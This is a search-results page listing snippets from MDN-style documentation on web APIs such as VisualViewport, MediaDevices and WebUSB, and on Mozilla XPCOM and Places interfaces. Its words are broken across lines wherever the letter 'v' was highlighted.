Search completed in 1.30 seconds.
nsIFaviconService
toolkit/components/places/public/nsifa
viconser
vice.idlscriptable stores fa
vicons for pages in bookmarks and history.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 22.0 (firefox 22.0 / thunderbird 22.0 / seamonkey 2.19) implemented by: @mozilla.org/browser/fa
vicon-ser
vice;1.
... to use this ser
vice, use: var fa
viconser
vice = components.classes["@mozilla.org/browser/fa
vicon-ser
vice;1"] .getser
vice(components.interfaces.nsifa
viconser
vice); method over
view void addfailedfa
vicon(in nsiuri afa
viconuri); void expireallfa
vicons(); void getfa
vicondata(in nsiuri afa
viconuri, out autf8string amimetype, [optional] out unsigned long adatalen, [array,retval,size_is(adatalen)] out octet adata); obsolete since gecko 22.0 astring getfa
vicondataasdataurl(in nsiuri afa
viconuri); obsolete since gecko 22.0 nsiuri getfa
viconforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfa
viconimageforpage(in nsiuri apageuri); obsolete since gecko 22.0 nsiuri getfa
viconlinkforicon(in nsiuri afa
vicon...
...And 112 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
the first and most important thing to understand when considering the code to manage point-of-
view and cameras in your application is this: webxr does not have cameras.
... there's no magic object pro
vided by either the webgl or the webxr api that represents the
viewer that you can simply rotate and move around to automatically change what's seen on the screen.
... in this guide we show how use webgl to simulate camera movements without ha
ving a camera to move.
...And 97 more matches
<video>: The Video Embed element - HTML: Hypertext Markup Language
the html
video element (<
video>) embeds a media player which supports
video playback into the document.
... you can use <
video> for audio content as well, but the <audio> element may pro
vide a more appropriate user experience.
... the above example shows simple usage of the <
video> element.
...And 71 more matches
MediaDevices.ondevicechange - Web APIs
the mediade
vices.onde
vicechange property is an eventhandler which specifies a function to be called when the de
vicechange event occurs on a mediade
vices instance.
... this happens whenever the set of media de
vices available to the user agent and, by extension, to the web site or app has changed.
... you can at any time use enumeratede
vices() to get the updated list of available de
vices.
...And 23 more matches
VisualViewport - Web APIs
the
visual
viewport interface of the
visual
viewport api represents the
visual
viewport for a given window.
...each window on a page will have a unique
visual
viewport representing the properties associated with that window.
... you can get a window's
visual
viewport using window.
visual
viewport.
...And 21 more matches
Visual Viewport API - Web APIs
the
visual
viewport api pro
vides an explicit mechanism for querying and modifying the properties of the window's
visual
viewport.
... the
visual
viewport is the
visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
...
visual
viewport concepts and usage the mobile web contains two
viewports, the layout
viewport and the
visual
viewport.
...And 17 more matches
Using the Places favicon service
the fa
vicon ser
vice, implemented by the nsifa
viconser
vice interface, stores the fa
vicons for pages in bookmarks and history.
... for an over
view of the database design, see the places database.
... creating the fa
vicon ser
vice the fa
vicon ser
vice's contract id is @mozilla.org/browser/fa
vicon-ser
vice;1, so to gain access to the fa
vicon ser
vice, you should do something like this: var fa
viconser
vice = components.classes["@mozilla.org/browser/fa
vicon-ser
vice;1"] .getser
vice(components.interfaces.nsifa
viconser
vice); caching the fa
vicon ser
vice stores an expiration time for each fa
vicon.
...And 16 more matches
SecurityPolicyViolationEvent.SecurityPolicyViolationEvent() - Web APIs
the securitypolicy
violationevent constructor creates a new securitypolicy
violationevent object instance.
... syntax let spvevt = new securitypolicy
violationevent(type, eventinitdict); properties type a domstring representing the type of security policy
violation that occurred.
... eventinitdict optional a dictionary object containing information about the properties of the securitypolicy
violationevent to be constructed.
...And 15 more matches
Navigator.vibrate() - Web APIs
the na
vigator.
vibrate() method pulses the
vibration hardware on the de
vice, if such hardware exists.
... if the de
vice doesn't support
vibration, this method has no effect.
... if a
vibration pattern is already in progress when this method is called, the pre
vious pattern is halted and the new one begins instead.
...And 9 more matches
HTMLVideoElement.videoHeight - Web APIs
the html
videoelement interface's read-only
videoheight property indicates the intrinsic height of the
video, expressed in css pixels.
... syntax height = html
videoelement.
videoheight; value an integer value specifying the intrinsic height of the
video in css pixels.
... if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither
video nor poster frame size information is yet available.
...And 8 more matches
HTMLVideoElement.videoWidth - Web APIs
the html
videoelement interface's read-only
videowidth property indicates the intrinsic width of the
video, expressed in css pixels.
... syntax width = html
videoelement.
videowidth; value an integer value specifying the intrinsic width of the
video in css pixels.
... if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither
video nor poster frame size information is yet available.
...And 8 more matches
Interaction between privileged and non-privileged pages - Archive of obsolete content
sending data from unpri
vileged document to chrome an easy way to send data from a web page to an extension is by using custom dom events.
... the data from the web page (unpri
vileged code) will be the values of attribute1 and attribute2.
...the event bubbles up from the web page and reaches the extension (pri
vileged code) where your listener catches it and reads the attribute values from the dom element where the event originated.
...And 7 more matches
XRViewerPose.views - Web APIs
the read-only xr
viewerpose property
views returns an array which contains every xr
view which must be rendered in order to fully represent the scene from the
viewpoint defined by the
viewer pose.
... for monoscopic de
vices, this array contains a single
view.
... important: there is no guarantee that the number of
views will remain constant over the lifetime of an xrsession.
...And 7 more matches
DeviceOrientationEvent.DeviceOrientationEvent() - Web APIs
the de
viceorientationevent constructor creates a new de
viceorientationevent.
... syntax var de
viceorientationevent = new de
viceorientationevent(type[, options]) parameters type either "de
viceorientation" or "de
viceorientationabsolute".
... options optional options are as follows: alpha: a number representing the motion of the de
vice around the z axis, express in degrees with values ranging from 0 to 360.
...And 6 more matches
MediaDevices.enumerateDevices() - Web APIs
the mediade
vices method enumeratede
vices() requests a list of the available media input and output de
vices, such as microphones, cameras, headsets, and so forth.
... the returned promise is resolved with a mediade
viceinfo array describing the de
vices.
... syntax var enumeratorpromise = na
vigator.mediade
vices.enumeratede
vices(); return value a promise that receives an array of mediade
viceinfo objects when the promise is fulfilled.
...And 6 more matches
nsIDirectoryServiceProvider
xpcom/io/nsidirectoryser
vice.idlscriptable this interface is used by the directory ser
vice to get file locations.
... inherits from: nsisupports last changed in gecko 1.7 nsidirectoryser
vicepro
vider.
... method over
view nsifile getfile(in string prop, out prbool persistent); methods getfile() the directory ser
vice calls this method when it gets the first request for a prop or on every request if the prop is not persistent.
...And 5 more matches
ServiceWorkerRegistration.navigationPreload - Web APIs
the na
vigationpreload read-only property of the ser
viceworkerregistration interface returns the na
vigationpreloadmanager associated with the current ser
vice worker registration.
... syntax var na
vigationpreloadmanager = ser
viceworkerregistration.na
vigationpreload; value an instance of na
vigationpreloadmanager.
... specifications specification status comment ser
vice workersthe definition of 'na
vigationpreload' in that specification.
...And 4 more matches
nsISocketProviderService
netwerk/socket/nsisocketpro
viderser
vice.idlscriptable pro
vides a mapping between a socket type and its associated socket pro
vider instance.
... one could also use the ser
vice manager directly.
... 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 1.7 method over
view nsisocketpro
vider getsocketpro
vider(in string sockettype); methods getsocketpro
vider() given a string representing a socket type, this method returns an nsisocketpro
vider representing that socket type.
...And 3 more matches
DeviceMotionEvent.DeviceMotionEvent() - Web APIs
the de
vicemotionevent constructor creates a new de
vicemotionevent.
... syntax var de
vicemotionevent = new de
vicemotionevent(type[, options]) parameters type must be "de
vicemotion".
... optionsoptional options are as follows: acceleration: an object gi
ving the acceleration of the de
vice on the three axis x, y and z.
...And 3 more matches
OVR_multiview2.framebufferTextureMultiviewOVR() - Web APIs
the ovr_multi
view2.framebuffertexturemulti
viewovr() method of the webgl api attaches a multi
view texture to a webglframebuffer.
... syntax void ext.framebuffertexturemulti
viewovr(target, attachment, texture, level, base
viewindex, num
views); parameters target a glenum specifying the binding point (target).
... base
viewindex a glint specifying the base
view index of the framebuffer object attachment.
...And 3 more matches
ServiceWorkerMessageEvent.ServiceWorkerMessageEvent() - Web APIs
ser
vice worker messages will now use the messageevent interface, for consistency with other web messaging features.
... the ser
viceworkermessageevent() constructor creates a new ser
viceworkermessageevent object instance.
... syntax var myswme = new ser
viceworkermessageevent(type, init); parameters type a domstring that defines the type of the message event being created.
...And 3 more matches
VideoPlaybackQuality.corruptedVideoFrames - Web APIs
the
videoplaybackquality interface's read-only corrupted
videoframes property the number of corrupted
video frames that have been received since the <
video> element was last loaded or reloaded.
... syntax corruptframefount =
videoplaybackquality.corrupted
videoframes; value the number of corrupted
video frames that have been received since the <
video> element was last loaded or reloaded.
... it is up to the user agent to determine whether or not to display a corrupted
video frame.
...And 3 more matches
DeviceMotionEvent.accelerationIncludingGravity - Web APIs
the accelerationincludinggra
vity property returns the amount of acceleration recorded by the de
vice, in meters per second squared (m/s2).
... unlike de
vicemotionevent.acceleration which compensates for the influence of gra
vity, its value is the sum of the acceleration of the de
vice as induced by the user and the acceleration caused by gra
vity.
... this value is not typically as useful as de
vicemotionevent.acceleration, but may be the only value available on de
vices that aren't able of remo
ving gra
vity from the acceleration data, such as on de
vices that don't have a gyroscope.
...And 2 more matches
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
the html
videoelement method get
videoplaybackquality() creates and returns a
videoplaybackquality object containing metrics including how many frames have been lost.
... the data returned can be used to evaluate the quality of the
video stream.
... syntax
videopq =
videoelement.get
videoplaybackquality(); return value a
videoplaybackquality object pro
viding information about the
video element's current playback quality.
...And 2 more matches
HTMLVideoElement.msInsertVideoEffect() - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... the htmlmediaelement.msinsert
videoeffect() method inserts the specified
video effect into the media pipeline.
... syntax str = htmlmediaelement.msinsert
videoeffect(activatableclassid: domstring, effectrequired: boolean, config); parameters activatableclassid a domstring defining the
video effects class.
...And 2 more matches
MediaDeviceInfo.deviceId - Web APIs
the de
viceid readonly property of the mediade
viceinfo interface returns a domstring that is an identifier for the represented de
vice and is persisted across sessions.
... syntax var de
viceid = mediade
viceinfo.de
viceid value a domstring.
... specifications specification status comment media capture and streamsthe definition of 'de
viceid' in that specification.
...And 2 more matches
Navigator.deviceMemory - Web APIs
the de
vicememory read-only property of the na
vigator interface returns the approximate amount of de
vice memory in gigabytes.
...it’s approximated by rounding down to the nearest power of 2, then di
viding that number by 1024.
... it is then clamped within lower and upper bounds to protect the privacy of owners of very low- or high-memory de
vices.
...And 2 more matches
VideoPlaybackQuality.droppedVideoFrames - Web APIs
the read-only dropped
videoframes property of the
videoplaybackquality interface returns the number of
video frames which have been dropped rather than being displayed since the last time the media was loaded into the html
videoelement.
... syntax value =
videoplaybackquality.dropped
videoframes; value an unsigned 64-bit value indicating the number of frames that have been dropped since the last time the media in the <
video> element was loaded or reloaded.
... this information can be used to determine whether or not to downgrade the
video stream to avoid dropping frames.
...And 2 more matches
VideoPlaybackQuality.totalVideoFrames - Web APIs
the
videoplaybackquality interface's total
videoframes read-only property returns the total number of
video frames that have been displayed or dropped since the media was loaded.
... syntax value =
videoplaybackquality.total
videoframes; value the total number of frames that the <
video> element has displayed or dropped since the media was loaded into it.
... example this example calls get
videoplaybackquality() to obtain a
videoplaybackquality object, then determines what percentage of frames have been lost by either corruption or being dropped.
...And 2 more matches
Visual Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
the portion of the
viewport that is currently
visible is called the
visual
viewport.
... this can be smaller than the layout
viewport, such as when the user has pinched-zoomed.
... the
visual
viewport is the
visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
... learn more general knowledge
visual
viewport api
viewport on wikipedia a tale of two
viewports (quirksmode)
viewport in the mdn glossary layout
viewport in the mdn glossary ...
Navigator.mediaDevices - Web APIs
the na
vigator.mediade
vices read-only property returns a mediade
vices object, which pro
vides access to connected media input de
vices like cameras and microphones, as well as screen sharing.
... syntax var mediade
vices = na
vigator.mediade
vices; return value the mediade
vices singleton object.
... usually, you just use this object's members directly, such as by calling na
vigator.mediade
vices.getusermedia().
... specifications specification status comment media capture and streamsthe definition of 'na
vigatorusermedia.mediade
vices' in that specification.
Navigator.serviceWorker - Web APIs
the na
vigator.ser
viceworker read-only property returns the ser
viceworkercontainer object for the associated document, which pro
vides access to registration, removal, upgrade, and communication with the ser
viceworker.
... syntax var workercontainerinstance = na
vigator.ser
viceworker; value ser
viceworkercontainer examples this code checks if the browser supports ser
vice workers.
... if ('ser
viceworker' in na
vigator) { // supported!
... } specifications specification status comment ser
vice workersthe definition of 'na
vigator.ser
viceworker' in that specification.
USBDevice.deviceClass - Web APIs
the de
viceclass read only property of the usbde
vice interface one of three properties that identify usb de
vices for the purpose of loading a usb driver that will work with that de
vice.
... the other two properties are usbde
vice.de
vicesubclass and usbde
vice.de
viceprotocol.
... syntax var number = usbde
vice.de
viceclass value a number.
... specifications specification status comment webusbthe definition of 'de
viceclass' in that specification.
USBDevice.deviceClass - Web APIs
the de
viceclass read only property of the usbde
vice interface one of three properties that identify usb de
vices for the purpose of loading a usb driver that will work with that de
vice.
... the other two properties are usbde
vice.de
vicesubclass and usbde
vice.de
viceprotocol.
... syntax var number = usbde
vice.de
viceclass value a number.
... specifications specification status comment webusbthe definition of 'de
viceclass' in that specification.
USBDevice.deviceProtocol - Web APIs
the de
viceprotocol read only property of the usbde
vice interface one of three properties that identify usb de
vices for the purpose of loading a usb driver that will work with that de
vice.
... the other two properties are usbde
vice.de
viceclass and usbde
vice.de
vicesubclass.
... syntax var number = usbde
vice.de
viceprotocol value a number.
... specifications specification status comment webusbthe definition of 'de
viceprotocol' in that specification.
USBDevice.deviceSubclass - Web APIs
the de
vicesubclass read only property of the usbde
vice interface one of three properties that identify usb de
vices for the purpose of loading a usb driver that will work with that de
vice.
... the other two properties are usbde
vice.de
viceclass and usbde
vice.de
viceprotocol.
... syntax var serialnumber = usbde
vice.de
vicesubclass value a number.
... specifications specification status comment webusbthe definition of 'de
vicesubclass' in that specification.
VisualViewport.onresize - Web APIs
the onresize event handler of the
visual
viewport interface is called when a
viewport is resized, i.e.
... syntax
visual
viewport.onresize = function(e) { ...
... } examples
visual
viewport.onresize = function(e) { ...
... } specifications specification status comment
visual
viewport apithe definition of 'onresize' in that specification.
VisualViewport.onscroll - Web APIs
the onscroll event handler of the
visual
viewport interface is called when a
viewport is scrolled, i.e.
... syntax
visual
viewport.onscroll = function(e) { ...
... } examples
visual
viewport.onscroll = function(e) { ...
... } specifications specification status comment
visual
viewport apithe definition of 'onscroll' in that specification.
VisualViewport: resize event - Web APIs
the resize event of the
visual
viewport interface is fired when the
visual
viewport is resized.
... bubbles no cancelable no interface event event handler property onresize examples you can use the resize event in an addeventlistener method:
visual
viewport.addeventlistener('resize', function() { ...
... }); or use the onresize event handler property:
visual
viewport.onresize = function() { ...
... }; specifications specification status comment
visual
viewport apithe definition of '
visual
viewport events' in that specification.
VisualViewport: scroll event - Web APIs
the scroll event of the
visual
viewport interface is fired when the
visual
viewport is scrolled.
... bubbles no cancelable no interface event event handler property onscroll examples you can use the scroll event in an addeventlistener method:
visual
viewport.addeventlistener('scroll', function() { ...
... }); or use the onscroll event handler property:
visual
viewport.onscroll = function() { ...
... }; specifications specification status comment
visual
viewport apithe definition of '
visual
viewport events' in that specification.
nsIDirectoryServiceProvider2
xpcom/io/nsidirectoryser
vice.idlscriptable an extension of nsidirectoryser
vicepro
vider which allows multiple files to be returned for the given key.
... inherits from: nsidirectoryser
vicepro
vider last changed in gecko 0.9.6 method over
view nsisimpleenumerator getfiles(in string prop); methods getfiles() the directory ser
vice calls this when it gets a request for a prop and the requested type is nsisimpleenumerator.
...use an xpcom return code of ns_success_aggregate_result if this result should be aggregated with other "lower" pro
viders.
SecurityPolicyViolationEvent.violatedDirective - Web APIs
the
violateddirective read-only property of the securitypolicy
violationevent interface is a domstring representing the directive whose enforcement uncovered the
violation.
... syntax let
violateddir =
violationeventinstance.
violateddirective; value a domstring representing the directive whose enforcement uncovered the
violation.
... example document.addeventlistener("securitypolicy
violation", (e) => { console.log(e.
violateddirective); }); specifications specification status comment content security policy level 3the definition of '
violateddirective' in that specification.
USBDevice.deviceVersionMajor - Web APIs
the de
viceversionmajor read only property of the usbde
vice interface he major version number of the de
vice in a semantic versioning scheme.
... syntax var serialnumber = usbde
vice.de
viceversionmajor value a number.
... specifications specification status comment webusbthe definition of 'de
viceversionmajor' in that specification.
USBDevice.deviceVersionMinor - Web APIs
the de
viceversionminor read only property of the usbde
vice interface the minor version number of the de
vice in a semantic versioning scheme.
... syntax var serialnumber = usbde
vice.de
viceversionminor value a number.
... specifications specification status comment webusbthe definition of 'de
viceversionminor' in that specification.
USBDevice.deviceVersionSubminor - Web APIs
the de
viceversionsubminor read only property of the usbde
vice interface the patch version number of the de
vice in a semantic versioning scheme.
... syntax var serialnumber = usbde
vice.de
viceversionsubminor value a number.
... specifications specification status comment webusbthe definition of 'de
viceversionsubminor' in that specification.
VisualViewport.height - Web APIs
the height read-only property of the
visual
viewport interface returns the height of the
visual
viewport, in css pixels.
... syntax var height =
visual
viewport.height value a double.
... specifications specification status comment
visual
viewport apithe definition of 'height' in that specification.
VisualViewport.offsetTop - Web APIs
the offsettop read-only property of the
visual
viewport interface returns the offset of the top edge of the
visual
viewport from the top edge of the layout
viewport in css pixels.
... syntax var offsettop =
visual
viewport.offsettop value a double.
... specifications specification status comment
visual
viewport apithe definition of 'offsettop' in that specification.
VisualViewport.offsetleft - Web APIs
the offsetleft read-only property of the
visual
viewport interface returns the offset of the left edge of the
visual
viewport from the left edge of the layout
viewport in css pixels.
... syntax var offsetleft =
visual
viewport.offsetleft value a double.
... specifications specification status comment
visual
viewport apithe definition of 'offsetleft' in that specification.
VisualViewport.pageLeft - Web APIs
the pageleft read-only property of the
visual
viewport interface returns the x coordinate of the left edge of the
visual
viewport relative to the initial containing block origin, in css pixels.
... syntax var pageleft =
visual
viewport.pageleft value a double.
... specifications specification status comment
visual
viewport apithe definition of 'pageleft' in that specification.
VisualViewport.pageTop - Web APIs
the pagetop read-only property of the
visual
viewport interface returns the y coordinate of the top edge of the
visual
viewport relative to the initial containing block origin, in css pixels.
... syntax var pagetop =
visual
viewport.pagetop value a double.
... specifications specification status comment
visual
viewport apithe definition of 'pagetop' in that specification.
VisualViewport.scale - Web APIs
the scale read-only property of the
visual
viewport interface returns the pinch-zoom scaling factor applied to the
visual
viewport.
... syntax var scale =
visual
viewport.scale value a double.
... specifications specification status comment
visual
viewport apithe definition of 'scale' in that specification.
VisualViewport.width - Web APIs
the width read-only property of the
visual
viewport interface returns the width of the
visual
viewport, in css pixels.
... syntax var width =
visual
viewport.width value a double.
... specifications specification status comment
visual
viewport apithe definition of 'width' in that specification.
Window.visualViewport - Web APIs
the
visual
viewport read-only property of the window interface returns a
visual
viewport object representing the
visual
viewport for a given window.
... syntax var
visual
viewport = window.
visual
viewport value a
visual
viewport object.
... specifications specification status comment
visual
viewport apithe definition of '
visual
viewport' in that specification.
Enabling the behavior - retrieving tinderbox status - Archive of obsolete content
var gxmlhttprequest; function loadtinderboxstatus() { gxmlhttprequest = new xmlhttprequest(); gxmlhttprequest.onload = updatetinderboxstatus; gxmlhttprequest.open("get", "http://tinderbox.mozilla.org/seamonkey/panel.html"); gxmlhttprequest.send(null); } xmlhttprequest is an interface in mozilla for retrie
ving documents
via http.
... « pre
viousnext » ...
MediaDevices: devicechange event - Web APIs
a de
vicechange event is sent to a mediade
vices instance whenever a media de
vice such as a camera, microphone, or speaker is connected to or removed from the system.
... bubbles no cancelable no interface event event handler onde
vicechange example you can use the de
vicechange event in an addeventlistener method: na
vigator.mediade
vices.addeventlistener('de
vicechange', function(event) { updatede
vicelist(); }); or use the onde
vicechange event handler property: na
vigator.mediade
vices.onde
vicechange = function(event) { updatede
vicelist(); } specifications specification status media capture and streamsthe definition of 'de
vicechange' in that specification.
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of character codes — an arraybuffer
view in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object string
view.prototype to create a collection of methods for such string-like objects (since now: string
views) which work strictly on arrays of numbers rather than on creating new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and
video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times wh...
... javascript typed arrays pro
vide a mechanism for accessing raw binary data much more efficiently.
... the string
view constructor is one level above typed arrays.
...And 165 more matches
Web video codec guide - Web media technologies
due to the sheer size of uncompressed
video data, it's necessary to compress it significantly in order to store it, let alone transmit it over a network.
... imagine the amount of data needed to store uncompressed
video: a single frame of high definition (1920x1080)
video in full color (4 bytes per pixel) is 8,294,400 bytes.
... at a typical 30 frames per second, each second of hd
video would occupy 248,832,000 bytes (~249 mb).
...And 135 more matches
Displaying Places information using views
views are one component of the places model-
view-controller design.
... an nsinavhistoryresult instance pro
vides the data for a
view.
... the
view is responsible for expanding the root nsinavhistorycontainerresultnode of this instance and displaying the nsinavhistoryresultnode objects contained therein.
...And 131 more matches
Signaling and video calling - Web APIs
webrtc allows real-time, peer-to-peer, media exchange between two de
vices.
...this tutorial will guide you through building a two-way
video-call.
... webrtc is a fully peer-to-peer technology for the real-time exchange of audio,
video, and data, with one central caveat.
...And 79 more matches
WebGL model view projection - Web APIs
it explains the three core matrices that are typically used when composing a 3d scene: the model,
view and projection matrices.
... the model,
view, and projection matrices indi
vidual transformations of points and polygons in space in webgl are handled by the basic transformation matrices like translation, scale, and rotation.
...a commonly used projection matrix, the perspective projection matrix, is used to mimic the effects of a typical camera ser
ving as the stand-in for the
viewer in the 3d
virtual world.
...And 78 more matches
Video and audio content - Learn web development
pre
vious over
view: multimedia and embedding next now that we are comfortable with adding simple images to a webpage, the next step is to start adding
video and audio players to your html documents!
... in this article we'll look at doing just that with the <
video> and <audio> elements; we'll then finish off by looking at how to add captions/subtitles to your
videos.
... objective: to learn how to embed
video and audio content into a webpage, and add captions/subtitles to
video.
...And 75 more matches
nsIMsgDBView
the nsimsgdb
view interface handles the display of mail in the threadpane and pre
view pane of thunderbird and other xpcom based mail cients.
... inherits from: nsisupports implemented by: @mozilla.org/messenger/msgdb
view;1.
... to create an instance, use: var db
view = components.classes[@mozilla.org/messenger/msgdb
view;1?type=] .createinstance(components.interfaces.nsimsgdb
view); where type designates different types of
view's available.
...And 75 more matches
Using Service Workers - Web APIs
this article pro
vides information on getting started with ser
vice workers, including basic architecture, registering a ser
vice worker, the install and activation process for a new ser
vice worker, updating your ser
vice worker, cache control and custom responses, all in the context of a simple app with offline functionality.
... the premise of ser
vice workers one overriding problem that web users have suffered with for years is loss of connecti
vity.
... the best web app in the world will pro
vide a terrible user experience if you can’t download it.
...And 74 more matches
Timing element visibility with the Intersection Observer API - Web APIs
in this article, we'll build a mock blog which has a number of ads interspersed among the contents of the page, then use the intersection observer api to track how much time each ad is
visible to the user.
... when an ad exceeds one minute of
visible time, it will be replaced with a new one.
... although many aspects of this example will not match real world usage (in particular, the articles all have the same text and aren't loaded from a database, and there are just a handful of simple text-only ads that are selected from an array), this should pro
vide enough understanding of the api to quickly learn how to apply the intersection observer api to your own site.
...And 68 more matches
Audio and Video Delivery - Developer guides
we can deliver audio and
video on the web in a number of ways, ranging from 'static' media files to adaptive live streams.
... the audio and
video elements whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <
video> elements remains pretty much the same.
... to deliver
video and audio, the general workflow is usually something like this: check what format the browser supports
via feature detection (usually a choice of two, as stated above).
...And 61 more matches
Overview of Mozilla embedding APIs
introduction the mozilla public api consists of a collection of ser
vices and components which are accessed
via xpcom interfaces.
...at the heart of xpcom's implementation is the ser
vice manager and the component manager.
... together, these two ser
vices pro
vide a centralized point for gaining access to all of the public mozilla interfaces.
...And 58 more matches
Viewport concepts - CSS: Cascading Style Sheets
this article explains the concept of the
viewport — what it is, its impact in terms of css, svg, and mobile de
vices — and differentiates between the
visual
viewport and the layout
viewport.
... what is a
viewport?
... a
viewport represents the area in computer graphics being currently
viewed.
...And 58 more matches
Navigator - Web APIs
the na
vigator interface represents the state and the identity of the user agent.
... it allows scripts to query it and to register themselves to carry on some acti
vities.
... a na
vigator object can be retrieved using the read-only window.na
vigator property.
...And 57 more matches
Service Worker API - Web APIs
ser
vice workers essentially act as proxy servers that sit between web applications, the browser, and the network (when available).
... ser
vice worker concepts and usage a ser
vice worker is an event-driven worker registered against an origin and a path.
... it takes the form of a javascript file that can control the web-page/site that it is associated with, intercepting and modifying na
vigation and resource requests, and caching resources in a very granular fashion to give you complete control over how your app behaves in certain situations (the most ob
vious one being when the network is not available).
...And 56 more matches
Creating a cross-browser video player - Developer guides
this article describes a simple html5
video player that uses the media and fullscreen apis and works across most major desktop and mobile browsers.
... working example our example
video player displays a clip from an open source mo
vie called tears of steel, and includes typical
video controls.
... the
video first of all the <
video> element is defined, contained within a <figure> element that acts as the
video container.
...And 56 more matches
WebXR Device API - Web APIs
webxr is a group of standards which are used together to support rendering 3d scenes to hardware designed for presenting
virtual worlds (
virtual reality, or vr), or for adding graphical imagery to the real world, (augmented reality, or ar).
... the webxr de
vice api implements the core of the webxr feature set, managing the selection of output de
vices, render the 3d scene to the chosen de
vice at the appropriate frame rate, and manage motion vectors created using input controllers.
... webxr-compatible de
vices include fully-immersive 3d headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery.
...And 55 more matches
Using the Places history service
please see history ser
vice design for information on the design of the history ser
vice, and the places database for a higher-level design over
view of places.
... this page pro
vides a map to the external api.
... history ser
vices interface over
view the mozilla history ser
vice has undergone many re
visions.
...And 49 more matches
Video and Audio APIs - Learn web development
pre
vious over
view: client-side web apis next html5 comes with elements for embedding rich media in documents — <
video> and <audio> — which in turn come with their own apis for controlling playback, seeking, etc.
... prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn how to use browser apis to control
video and audio playback.
... html5
video and audio the <
video> and <audio> elements allow us to embed
video and audio into web pages.
...And 48 more matches
History Service Design
this document pro
vides a high-level over
view of the overall history ser
vice design of the places system.
...this system pro
vides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers.
...
view the ser
vice interface definition: nsinavhistoryser
vice.idl.
...And 45 more matches
Tree View Details - Archive of obsolete content
« pre
viousnext » this section will describe some more features of tree
views.
... creating a hierarchical custom
view in the last section, we created a simple tree
view that implemented only a minimum amount of functionality.
... next, let's look at some additional functions that
views may implement.
...And 40 more matches
MediaDevices.getUserMedia() - Web APIs
the mediade
vices.getusermedia() method prompts the user for permission to use a media input which produces a mediastream with tracks containing the requested types of media.
... that stream can include, for example, a
video track (produced by either a hardware or
virtual
video source such as a camera,
video recording de
vice, screen sharing ser
vice, and so forth), an audio track (similarly, produced by a physical or
virtual audio source like a microphone, a/d converter, or the like), and possibly other track types.
... generally, you will access the mediade
vices singleton object using na
vigator.mediade
vices, like this: async function getmedia(constraints) { let stream = null; try { stream = await na
vigator.mediade
vices.getusermedia(constraints); /* use the stream */ } catch(err) { /* handle the error */ } } similarly, using the raw promises directly, the code looks like this: na
vigator.mediade
vices.getusermedia(constraints) .t...
...And 39 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
pre
vious over
view: client-side javascript frameworks next in the last article we added more features to our to-do list and started to organize our app into components.
...we will learn how to deal with reacti
vity issues related to updating objects and arrays.
... to avoid common pitfalls, we'll have to dig a little deeper into svelte's reacti
vity system.
...And 37 more matches
mozIAsyncFavicons
toolkit/components/places/moziasyncfa
vicons.idlscriptable interface for accessing the fa
vicon ser
vice asynchronously.
... 1.0 66 introduced gecko 6.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) nsifa
viconser
vice handles this interface, so you do not need to directly create a new ser
vice.
... simply queryinterface() the nsifa
viconser
vice to this interface.
...And 37 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average
video game from a technical point of
view, in terms of how the main loop should run.
... present, accept, interpret, calculate, repeat the goal of every
video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting from those acts.
...the game loop is advanced by the user's input and sleeps until they pro
vide it.
...And 36 more matches
USBDevice - Web APIs
the usbde
vice interface of the the webusb api pro
vides access to metadata about a paired usb de
vice and methods for controlling it.
... properties usbde
vice.configuration read only a usbconfiguration object for the currently selected interface for a paired usb de
vice.
... usbde
vice.configurations read only an array of de
vice-specific interfaces for controlling a paired usb de
vice.
...And 36 more matches
Multimedia: video - Learn web development
pre
vious over
view: performance next as we learned in the pre
vious section, media, namely images and
video, account for over 70% of the bytes downloaded for the average website.
...this article looks at optimizing
video to improve web performance.
... objective: to learn about the various
video formats, their impact on performance, and how to reduce
video impact on overall page load time while ser
ving the smallest
video file size based on each browsers file type support.
...And 34 more matches
Debugger.Environment - Firefox Developer Tools
a debugger.en
vironment instance represents a lexical en
vironment, associating names with variables.
... each debugger.frame instance representing a debuggee frame has an associated en
vironment object describing the variables in scope in that frame; and each debugger.object instance representing a debuggee function has an en
vironment object representing the en
vironment the function has closed over.
... ecmascript en
vironments form a tree, in which each local en
vironment is parented by its enclosing en
vironment (in ecmascript terms, its ‘outer’ en
vironment).
...And 34 more matches
An Overview of XPCOM
« pre
viousnext » this is a book about xpcom.
... this chapter pro
vides a quick tour of xpcom - an introduction to the basic concepts and technologies in xpcom and component development.
...but xpcom also pro
vides several tools and libraries that enable the loading and manipulation of these components, ser
vices that help the developer write modular cross-platform code, and versioning support, so that components can be replaced or upgraded without breaking or ha
ving to recreate the application.
...And 33 more matches
Ember interactivity: Events, classes and state - Learn web development
pre
vious over
view: client-side javascript frameworks next at this point we'll start adding some interacti
vity to our app, pro
viding the ability to add and display new todo items.
... along the way, we'll look at using events in ember, creating component classes to contain javascript code to control interactive features, and setting up a ser
vice to keep track of the data state of our app.
... objective: to learn how to create component classes and use events to control interacti
vity, and keep track of app state using a ser
vice.
